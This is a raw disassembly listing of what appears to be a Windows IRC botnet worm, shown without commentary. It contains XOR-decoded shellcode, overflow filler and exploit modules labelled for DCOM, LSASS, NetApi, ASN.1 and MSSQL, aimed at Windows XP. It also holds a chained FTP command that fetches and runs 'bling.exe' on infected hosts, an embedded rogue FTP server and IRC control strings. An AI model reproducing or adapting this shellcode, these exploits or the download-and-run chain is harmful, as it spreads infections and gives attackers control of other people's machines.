[esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db ' %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o ; ___:0042F830o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B5r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 